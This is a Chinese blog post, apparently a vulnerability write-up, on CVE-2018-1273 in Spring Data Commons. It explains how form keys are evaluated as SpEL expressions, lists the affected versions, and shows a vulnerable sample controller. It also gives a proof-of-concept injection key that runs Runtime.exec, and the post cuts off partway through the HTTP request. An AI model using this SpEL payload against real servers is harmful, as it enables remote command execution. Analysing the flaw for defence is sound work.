linux漏洞分析,Spring-data-commons(CVE-2018-1273)漏洞分析

前言

CVE-2018-1273 是 Spring-data-commons近期爆出的一个可远程执行代码的漏洞,为了了解更多细节,本文将从漏洞的成因,漏洞的判定以及漏洞的利用三个方面来进行详细说明。

漏洞的成因

当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为Spel的执行内容,而这一步就是本次漏洞的爆发点。

漏洞的判定

确认目标项目中含有Spring-data-commons包并且版本范围如下

Spring Data Commons 1.13 to 1.13.10

Spring Data Commons 2.0 to 2.0.5

查看相关特性是否已经开启

1.@EnableSpringDataWebSupport 被显示声明

2.@EnableSpringDataWebSupport 没有显示声明,但采用了spring-boot框架的自动扫描特性 当采用Spring-boot的自动扫描特性的时候,在启动时会自动加载 SpringDataWebConfiguration类效果与上述相同

3.在非注解声明项目中,如果有如下声明,也视为开启了相关的特性

检查带@RequestMapping的接口,方法的参数为一个自定义的接口(Interface)

满足如上条件的靶子代码如下

@SpringBootApplication

public class App {

public static void main(String[] args) {

SpringApplication.run(App.class);

}

@Controller

public class TestController {

@RequestMapping("test")

public void CVEController(TestForm testForm){

System.out.println(testForm.getName());

}

}

interface TestForm {

String getName();

}

}

漏洞的使用

根据上述判定出来的漏洞点,我们可以构造如下代码

1.构建一个Http的Post请求2.利用form表单提交的方式来提交我们的key value3.在key的名称中包含此次攻击代码4.提交的key为上文的 getName() 方法的 name5.在name后面补上一段Spel支持的代码片段,key将变成如 name[T(java.lang.Runtime).getRuntime().exec("calc")]

最终playload如下

POST /test HTTP/1.1

Host: 127.0.0.1:8080

Conte

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值